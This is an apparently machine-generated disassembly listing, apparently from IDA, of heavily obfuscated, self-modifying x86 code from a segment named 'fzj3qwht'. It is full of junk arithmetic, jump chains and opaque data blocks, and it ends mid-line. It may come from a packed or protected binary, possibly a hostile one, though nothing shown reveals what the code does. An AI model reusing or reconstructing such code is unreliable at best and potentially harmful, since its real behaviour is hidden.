xor edi, 30BBA9E9h and edi, 0CAB6433h add edi, 0FBD5E001h jecxz short loc_431A18 pop edi jmp near ptr byte_42E955+2 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- loc_431A57: ; CODE XREF: fzj3qwht:loc_432008j pop esi call sub_431F38 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 15B89CC1h, 9D098BB2h, 0E8240C87h, 0FFFFD50Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_431A72: ; CODE XREF: fzj3qwht:0042F2CEj mov al, [ebp+eax-20h] push 520DBE92h pop edx and edx, 4F7911A5h call sub_430497 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431A88: ; CODE XREF: sub_431452+8E8j jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_431A8F: ; CODE XREF: sub_431686+10F7j ; sub_42F8A9:loc_432782p xchg edx, [esp] pop edx xchg esi, [esp] loc_431A96: ; DATA XREF: sub_42EFCF:loc_43077Eo xor al, 15h shl byte ptr [eax+4EE90042h], 0FFh ; --------------------------------------------------------------------------- db 0FFh dd 2C600FFh, 98685A87h, 87769D88h, 0D98B240Ch, 0EAC38159h dd 0E9B5B81Ch, 0FFFFDECFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_431ABE: ; CODE XREF: fzj3qwht:00431A30j js near ptr byte_42F52D+2 xchg ebx, [esp] pop ebx inc dword ptr [ebp-8Ch] jmp near ptr dword_430254 ; --------------------------------------------------------------------------- db 0Fh dd 3DB8Ch, 9C000000h, 0FFDA0DE9h ; --------------------------------------------------------------------------- loc_431AE0: ; DATA XREF: sub_431686:loc_42FB23o jmp fword ptr [eax-2Bh] ; --------------------------------------------------------------------------- db 0Dh dd 0ABE90043h, 0FFFFFDh db 0 ; =============== S U B R O U T I N E ======================================= sub_431AED proc near ; CODE XREF: fzj3qwht:0042EA3Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EE3D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00431239 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004316D0 SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx xchg ecx, [esp+0] mov eax, ecx pop ecx pop edi loc_431AF8: ; DATA XREF: fzj3qwht:004327E3o inc esi or al, 24h push ecx jmp loc_431239 sub_431AED endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_431B02: ; CODE XREF: sub_4323E7+Cj xchg ebx, [esp+0] push 4816C813h pop esi xor esi, 0ACE55FE9h and esi, 0F3FC4FE0h xor esi, 0BE4C83A8h rol esi, 1Bh jmp loc_431BC3 ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- db 2 dup(0), 13h ; --------------------------------------------------------------------------- setalc jmp loc_4327CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_431B2E: ; CODE XREF: sub_4312D7-101Bj adc al, ch call sub_430F2A ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_431B37: ; CODE XREF: fzj3qwht:0042EDA5j jmp loc_431EE7 ; --------------------------------------------------------------------------- dd 815F0000h, 349DCCEAh, 0AC28182h, 3FB7BD8h, 0EB1DE8D5h dd 0FFFFh, 850FA43Ch, 0FFFFE181h, 0FFE173E8h db 0FFh ; --------------------------------------------------------------------------- loc_431B61: ; CODE XREF: fzj3qwht:0043250Bj jmp loc_430ED7 ; --------------------------------------------------------------------------- align 4 jmp loc_42FA99 ; --------------------------------------------------------------------------- align 2 dw 0C231h dd 0AB850F49h, 87000008h, 3AE9243Ch, 0FFFFFDh db 0 ; --------------------------------------------------------------------------- loc_431B81: ; CODE XREF: fzj3qwht:004300A5j jnz loc_431E16 jmp locret_430985 ; --------------------------------------------------------------------------- dd 0EA810000h, 595CA7E1h, 27BE9h, 8B000000h, 0E91F890Bh dd 0FFFFDB7Dh, 33F88100h, 0E947FBE5h, 0FFFFE96Fh, 0C2875868h dd 0E881587Bh, 49C92848h, 0F810890Fh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_431BC3: ; CODE XREF: sub_4323E7-8C7j jmp loc_42EB3D ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- dd 0FFD7CEE9h, 990000FFh, 0FFF7FBE9h, 810000FFh, 0FC6CDCC0h dd 24041F1Ah, 0FFDE29E9h, 266853FFh, 0E900430Bh, 0FFFFEF30h dd 22CF8100h, 0E9A63689h, 0FFFFCFE1h ; --------------------------------------------------------------------------- loc_431BFC: ; CODE XREF: fzj3qwht:loc_4319D8j xchg ecx, [esp] mov esi, offset nullsub_151 jmp loc_432833 ; --------------------------------------------------------------------------- db 68h, 77h, 0D2h dd 815E3B45h, 56E3DDEEh, 65C6819Fh, 0E9641111h, 0FFFFD80Eh dd 19CFC100h, 0F2E93A87h, 0FFFFE7h ; --------------------------------------------------------------------------- loc_431C2C: ; CODE XREF: fzj3qwht:004303E6j or ebx, 0C5398E05h xor ebx, 0E77BFF2Fh add edx, ebx pop ebx call near ptr dword_42EC68+6Dh ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430C13 loc_431C41: ; CODE XREF: sub_430C13+12j jmp loc_43013E ; END OF FUNCTION CHUNK FOR sub_430C13 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431C47: ; CODE XREF: fzj3qwht:0042FCE1j mov eax, 43247Ch jmp loc_42E950 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_431C52 proc near ; CODE XREF: sub_431452:loc_430598p xchg ebx, [esp+0] pop ebx push esi push offset word_432066 jmp near ptr dword_42E794+70h sub_431C52 endp ; --------------------------------------------------------------------------- align 2 dw 0F381h dd 2152B297h, 0FFF6B6E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_42F188 loc_431C6E: ; CODE XREF: sub_42F188+864j push eax loc_431C6F: ; CODE XREF: sub_42F188:loc_42F9E4j rol esi, 0Fh xor esi, 1148308Eh sbb eax, 0EFEDE8F5h ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- jmp loc_43214C ; =============== S U B R O U T I N E ======================================= sub_431C85 proc near ; CODE XREF: fzj3qwht:00431747p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] mov esi, 430ACAh jmp near ptr dword_431018+2 sub_431C85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431C97: ; CODE XREF: sub_431686:loc_431890j jz loc_43144D jmp near ptr dword_42EEA4+1Bh ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431CA3: ; CODE XREF: fzj3qwht:004327E8j call near ptr byte_42EA31+2 add cl, ch push esp pop es ; --------------------------------------------------------------------------- dd 0E95A0000h, 6F6h, 9A870F00h, 0E9000009h, 0FFFFFBE3h dd 8713E8C1h db 0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431CC5: ; CODE XREF: sub_4301AC:loc_42FC85j sub eax, 0A4B4D852h add eax, 62EF0A92h call sub_430F48 jmp loc_4315EA ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 dd 0FFD1E5E9h, 0EFD4E9FFh, 0FFFFh, 0E9E9C687h, 5EFFFFE4h dd 33E3E981h, 685283CBh, 82CC6D06h, 77E2815Ah, 81543177h dd 0B08AD0F2h, 9EFA810Eh, 0E94CC6B9h, 0FFFFFDBFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431D14: ; CODE XREF: sub_431F5F-D65j pop ebx jmp loc_431E9F ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_431D1A: ; CODE XREF: sub_43052F:loc_431E31j call nullsub_140 nop call sub_430917 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431D26: ; CODE XREF: sub_431452:loc_431475j mov byte ptr [eax], 3 pop eax push ebp mov ebp, ebx xchg ebp, [esp+4+var_4] mov ebx, edx xchg ebx, [esp+4+var_4] push offset loc_42EEE9 jmp loc_431A88 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_431D41: ; CODE XREF: fzj3qwht:00432761j jl near ptr dword_42EC68+1 ; --------------------------------------------------------------------------- db 0 dd 238E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_431D4E: ; CODE XREF: fzj3qwht:0042F4A8j jmp loc_430935 ; --------------------------------------------------------------------------- align 4 dd 0E649E900h, 819DFFFFh, 302A1DEEh, 0CF03E945h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431D68: ; CODE XREF: sub_4301AC+6j call sub_430315 loc_431D6D: ; CODE XREF: fzj3qwht:00431982j sub eax, 3B8F4D56h and eax, 4A0E5340h cmp eax, 75D11C6Eh jmp loc_42FC85 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- dd 1C870000h, 0FD035B24h, 8927C781h, 3F8B8634h, 0FFEB5DE9h dd 36C1F7FFh, 0E925E99Eh, 878h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431DA4: ; CODE XREF: sub_4301AC:loc_4315EAj ; sub_4301AC+1452j and eax, 4F16BEBCh push edi push 8611541h pop edi add edi, 269821EEh or edi, 0D153DC74h add edi, 5CE6AE0Dh sub edi, 281C5ADh jmp loc_430C2F ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- byte_431DCE db 0Fh ; DATA XREF: fzj3qwht:0042E85Dw ; sub_431167-2252o db 85h dd 0FFFFD699h, 4300AC68h, 0F017E900h, 0FFFFh, 0E1348B0Fh dd 71E9FFFFh, 0FFFFF6h, 0AA8EC081h, 689CF1A3h, 430392h dd 0FFE58BE9h, 0E6C100FFh, 0EF3DE913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_431E06: ; CODE XREF: fzj3qwht:00430B21j rol ebx, 1Eh push ecx mov ecx, offset byte_430D4D jmp near ptr dword_42E9A4+13h ; --------------------------------------------------------------------------- xchg ecx, [edi] loc_431E16: ; CODE XREF: fzj3qwht:loc_431B81j add esi, 795C550Eh mov esi, [esi] call near ptr dword_42F064+10h ; --------------------------------------------------------------------------- db 0 dd 1B03B800h, 4BE9E0B7h, 0FFFFF6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_431E31: ; CODE XREF: sub_43052F+8j jz loc_431D1A push eax push 0A569401Bh pop eax or eax, 27B29BAh sub eax, 218496B2h add eax, 90613033h xor eax, 0AE711640h jmp loc_43058C ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- db 5Fh dd 0FFE207E9h, 0F0000FFh, 0FFD4A686h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_431E69 proc near ; CODE XREF: fzj3qwht:0042F8F6p ; FUNCTION CHUNK AT 00430F79 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00432872 SIZE 0000000E BYTES xchg eax, [esp+0] pop eax add eax, 0DF0BADACh add eax, ebp push eax jmp loc_430F79 sub_431E69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_431E7D proc near ; CODE XREF: sub_4318E2+Bp arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg edx, [esp-4+arg_0] jmp near ptr loc_42F8FB+1 sub_431E7D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFEF72h, 0C30000h ; --------------------------------------------------------------------------- loc_431E94: ; CODE XREF: fzj3qwht:0042FB78j jmp loc_42FE63 ; --------------------------------------------------------------------------- align 2 call sub_4323E7 ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431E9F: ; CODE XREF: sub_431F5F-24Aj jmp loc_430B0E ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_431EA6: ; CODE XREF: sub_42F4AE+46j jz loc_42FDFF mov [esi], edi jge loc_42FBA7 rol edx, 1Eh add edx, 0FC87D7E0h cmp ecx, edx pop edx jmp near ptr dword_42F3E0+1 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 2 loc_431EC6: ; CODE XREF: fzj3qwht:loc_430758j push esi mov esi, 42E9FCh jmp loc_430248 ; --------------------------------------------------------------------------- align 2 mov byte ptr [ecx], 83h xchg eax, [esp] mov ecx, eax pop eax push 31C06743h push edx jmp loc_432061 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431EE7: ; CODE XREF: fzj3qwht:loc_431B37j ; DATA XREF: fzj3qwht:0043198Eo stosb call sub_430E27 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFDFBh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431EF6: ; CODE XREF: sub_431452+3Aj jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0FFCBB9E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_431F03: ; CODE XREF: fzj3qwht:00432685j jmp near ptr dword_42F6C0+9 ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: fzj3qwht:0042FC7Ej jmp loc_4306DE ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= sub_431F11 proc near ; CODE XREF: fzj3qwht:0042F427j ; sub_431452+11A4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042E938 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00431388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043270D SIZE 00000016 BYTES xchg esi, [esp+0] pop esi pop eax sub eax, edx jmp loc_431388 sub_431F11 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_431F1F proc near ; CODE XREF: fzj3qwht:004303C8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00430450 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043080B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov byte ptr [ebx], 3 xchg esi, [esp+0] mov ebx, esi pop esi mov esi, 42E7E7h jmp loc_43080B sub_431F1F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_431F38 proc near ; CODE XREF: fzj3qwht:00431A58p ; FUNCTION CHUNK AT 00432279 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx push eax mov eax, offset byte_431499 jmp loc_432279 sub_431F38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_431F49: ; CODE XREF: sub_42FA52:loc_43273Dj xchg ebx, [esp+4+var_4] push offset byte_430E75 jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- dw 0C100h dd 0B6E916CEh db 0DFh, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_431F5F proc near ; CODE XREF: sub_43098E+3p ; fzj3qwht:004309D8j arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042F134 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F167 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430A3A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430B0E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00430FBB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043112B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004311F0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00431971 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00431D14 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00431E9F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop edi pop ebx xchg eax, [esp+0] or edx, edx jz loc_4311F5 jmp loc_42F167 sub_431F5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_431F76: ; CODE XREF: fzj3qwht:0042F161j mov byte ptr [esi], 87h pop esi xchg ebx, [esp] mov ecx, ebx jmp loc_42FEEC ; --------------------------------------------------------------------------- dd 0C30000h, 0CC7E8B0Fh, 0EB81FFFFh, 51B688Fh, 0FFEE14E8h dd 990000FFh, 0FFF0F5E9h, 0A98B0FFFh, 0E9FFFFCAh, 0FFFFDEA7h dd 0E7810000h, 45ADA9C4h, 0BF91C3F7h, 0A4E9FEEAh, 0FFFFFEh dd 24048700h, 8B241C87h, 8B5BC3h, 0D556E952h, 108BFFFFh dd 0FFE08FE8h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_431FD9: ; CODE XREF: sub_430E27-1647j jmp loc_431811 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dw 5300h dd 0EFCB8668h, 0C3815B89h, 0FDD99F46h, 8110C3C1h, 0BA5540C3h dd 0B7E38116h, 0E97C4BFBh, 0FFFFF509h ; --------------------------------------------------------------------------- locret_432000: ; CODE XREF: fzj3qwht:00430BA4j retn ; --------------------------------------------------------------------------- loc_432001: ; CODE XREF: fzj3qwht:0043225Dj jmp loc_430B8E ; --------------------------------------------------------------------------- align 4 loc_432008: ; CODE XREF: fzj3qwht:004310DDj jmp loc_431A57 ; --------------------------------------------------------------------------- align 2 word_43200E dw 0B568h ; DATA XREF: fzj3qwht:00430B9Fo db 0E9h, 0C0h, 0E4h byte_432013 db 3Ch ; DATA XREF: sub_4309EE-886o dd 58562434h, 0FFEA59E9h db 0FFh ; --------------------------------------------------------------------------- locret_43201D: ; CODE XREF: fzj3qwht:0042FE5Dj ; fzj3qwht:loc_430AD1j retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_430917 loc_432020: ; CODE XREF: sub_430917+1CC4j jmp near ptr dword_42E794+99h ; END OF FUNCTION CHUNK FOR sub_430917 ; --------------------------------------------------------------------------- align 2 dw 93E9h dd 0FFFFEAh, 58240487h, 59240C87h, 0CBEB6856h, 2AE98424h db 0F0h, 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] align 4 locret_432044: ; CODE XREF: fzj3qwht:loc_430C36j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFE37Ch, 348A0F00h, 99FFFFE4h, 0FFF7CCE9h, 0E80000FFh dd 8DCh db 0 ; --------------------------------------------------------------------------- loc_432061: ; CODE XREF: fzj3qwht:00431EE1j jmp near ptr dword_43037C+2 ; --------------------------------------------------------------------------- word_432066 dw 8B56h ; DATA XREF: sub_431C52+5o dd 243487F0h, 72B00868h, 0E8815813h, 4347FB82h, 67F2C081h dd 16E93018h, 0FFFFEDh, 0C9F68100h, 0E9DD7086h, 0FFFFD00Dh ; =============== S U B R O U T I N E ======================================= sub_432090 proc near ; CODE XREF: sub_42F4AE:loc_430A70p ; FUNCTION CHUNK AT 0042FCC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FDEC SIZE 0000000D BYTES xchg eax, [esp+0] pop eax mov byte ptr [ebx], 87h pop ebx push eax mov eax, ebp jmp loc_42FCC1 sub_432090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C2890F00h, 87FFFFE5h, 3C872404h, 5FC78B24h, 9731FC68h dd 0C0815846h, 72B397CDh, 0FFD7A0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4320C3: ; CODE XREF: sub_42FA52:loc_42FE43j mov byte ptr [edx], 3 pop edx push ebx mov ebx, eax xchg ebx, [esp-8+arg_4] mov eax, offset loc_43082E jmp loc_4303A4 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_4320D8: ; CODE XREF: sub_431452:loc_431946j add edx, 93485557h or edx, 0B4460D7Fh call sub_4316FE ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 7B48Ch db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_4320F3: ; CODE XREF: sub_431410-1598j jmp loc_431A37 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- dd 0C3810000h, 0F823FE93h, 17D50BBEh, 0E9378B49h, 0FFFFE66Ah dd 0EA8B5500h, 0BA242C87h, 43288Dh, 0FFCAC9E9h db 0FFh, 0 word_43211E dw 0C681h ; DATA XREF: fzj3qwht:004306E4o dd 66802D65h, 6851F503h, 0C14CE647h, 0F7C98159h, 81E54686h dd 7D0E0FF1h, 0CA7BE9C7h, 0FFFFh, 22E8058Dh, 58E80043h dd 0FFFFD1h ; --------------------------------------------------------------------------- loc_43214C: ; CODE XREF: fzj3qwht:00431C80j adc eax, edx jmp near ptr dword_42F604+59h ; --------------------------------------------------------------------------- align 4 xor ebp, ecx adc edi, ecx or eax, 8A499E8Fh add eax, 25ACC358h xor eax, 601F6139h jmp loc_4328E4 ; --------------------------------------------------------------------------- align 10h add edx, 0CE90F015h jmp loc_42F984 ; --------------------------------------------------------------------------- align 4 db 0 byte_43217D db 8Bh, 0C7h, 5Fh ; DATA XREF: sub_42F4AE+1AB6o dd 0A0C015FFh, 0E2E90042h, 0FFFFD2h, 43157168h, 200E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_432196: ; DATA XREF: fzj3qwht:004302E5o xchg edx, [esp] mov ebp, edx pop edx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] byte_43219D db 0E8h ; DATA XREF: fzj3qwht:0042E841w dw 0E3ABh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_4321A3: ; CODE XREF: fzj3qwht:0042FDABj jmp loc_4322BF ; --------------------------------------------------------------------------- dd 0FE90000h, 0FFFFDAh, 87D98B53h, 58D241Ch, 431DCEh, 0FFD4B0E8h dd 0FA68FFh, 62E90043h, 4 ; --------------------------------------------------------------------------- locret_4321CC: ; CODE XREF: fzj3qwht:004322ABj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4321CF: ; CODE XREF: fzj3qwht:0043003Ej jmp near ptr loc_431604+1 ; --------------------------------------------------------------------------- loc_4321D4: ; CODE XREF: fzj3qwht:0042F927j sub edx, 48A3075h xor edx, 0A3B262F3h add edx, ebp add edx, 7038FA8Bh jmp near ptr dword_42EB78+1Eh ; --------------------------------------------------------------------------- align 2 rol ebx, 1Eh add ebx, 158E2C5Bh add eax, ebx pop ebx push 4313BCh jmp locret_430788 ; --------------------------------------------------------------------------- dd 860F0000h, 0FFFFED79h, 0E895820Fh, 0C881FFFFh, 0E487DFE5h dd 0CC13E950h, 0FFFFh, 0E90000C3h, 0FFFFE42Fh, 838C0F00h dd 0E8FFFFD2h, 0FFFFD1CDh, 0F644E900h, 0C300FFFFh, 0FFD073E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432243: ; CODE XREF: sub_42F4AE+14Fj jmp loc_42FCB8 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 6EE9D823h, 0FFFFC5h db 0 ; --------------------------------------------------------------------------- loc_432251: ; CODE XREF: fzj3qwht:00430441j xchg ecx, [esp] mov eax, ecx pop ecx and eax, 70ED8D24h jmp loc_432001 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ebx], 9 xchg esi, [esp] mov ebx, esi pop esi mov edi, 4319B1h jmp loc_42E908 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F38 loc_432279: ; CODE XREF: sub_431F38+Aj mov byte ptr [eax], 8Dh pop eax xor ebx, 1378043Bh sub ebx, 0A0834513h rol ebx, 1Ah and ebx, 0A6F84578h jmp near ptr dword_42FFF0+1 ; END OF FUNCTION CHUNK FOR sub_431F38 ; --------------------------------------------------------------------------- mov byte ptr [esi], 0C6h pop esi call sub_42FC3B loc_4322A0: ; CODE XREF: fzj3qwht:00430A34j jmp loc_42F2E4 ; --------------------------------------------------------------------------- align 2 push 42FD23h jmp locret_4321CC ; --------------------------------------------------------------------------- dd 0E3810000h, 0BECA5BDEh, 0FFF294E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4322BF: ; CODE XREF: fzj3qwht:loc_4321A3j add edi, 962EEE86h add edi, ebp add edi, 0AE51217Fh loc_4322CD: ; DATA XREF: fzj3qwht:0042FA62o mov [edi], eax push edi mov edi, 42EB96h jmp near ptr dword_42F20C+1Eh ; =============== S U B R O U T I N E ======================================= sub_4322DA proc near ; CODE XREF: sub_431410-15A7p xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h retn sub_4322DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4322E3: ; CODE XREF: fzj3qwht:0042F2E9j jmp locret_42F571 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0E0h, 0CCh, 0B9h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0E959C18Bh, 0FFFFCF59h, 0ED67E381h ; --------------------------------------------------------------------------- sbb [ecx], ch loc_4322FE: ; CODE XREF: fzj3qwht:0042FCD8j jmp near ptr dword_42F8D8+4 ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_432306: ; CODE XREF: sub_431686-9D3j jmp loc_43278E ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43230D: ; CODE XREF: fzj3qwht:0042EF32j jmp loc_4324F4 ; --------------------------------------------------------------------------- align 4 jmp locret_42FDC8 ; --------------------------------------------------------------------------- align 2 loc_43231A: ; CODE XREF: fzj3qwht:0042E97Ej jmp loc_42EFB8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432322: ; DATA XREF: sub_431452-1102o push esi mov esi, offset loc_432959 jmp loc_432461 ; --------------------------------------------------------------------------- align 2 dw 0C981h dd 98F8A593h, 0F1CCC181h, 850F772Ah, 0FFFFE309h, 0E9C82300h dd 0FFFFE529h, 0B026E381h, 3C87F644h, 24148724h, 0E95AFA8Bh dd 0FFFFCC50h ; --------------------------------------------------------------------------- loc_43235C: ; CODE XREF: fzj3qwht:00431619j sub eax, 0B8DFA5AFh call near ptr dword_4311B8+5 jmp near ptr dword_42FA74+0Fh ; --------------------------------------------------------------------------- dd 0E9530000h, 0FFFFF0DEh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432376: ; CODE XREF: sub_42F4AE-1A9j jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 0FCEFBF57h, 5DE90042h, 0FFFFF2h, 0B6C18100h, 0E903B379h dd 356h, 0C30000h db 0, 8Bh, 32h ; =============== S U B R O U T I N E ======================================= sub_43239B proc near ; CODE XREF: fzj3qwht:loc_4313CBp xchg eax, [esp+0] pop eax push 9803901h pop edx jmp near ptr word_42F5CE+1 sub_43239B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 3C87h dd 26685F24h, 5A886322h, 4BB1F281h, 0EA81AF9Eh, 4E0E9CE6h dd 0CFD7C281h, 0D503A1BAh, 0FFD279E9h, 0C3FFh, 0E80000C6h dd 0FFFFE2C9h, 0F6810000h, 0B850FDB0h, 0FFEA42E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4323E7 proc near ; CODE XREF: fzj3qwht:00431E9Ap ; FUNCTION CHUNK AT 0042EB3D SIZE 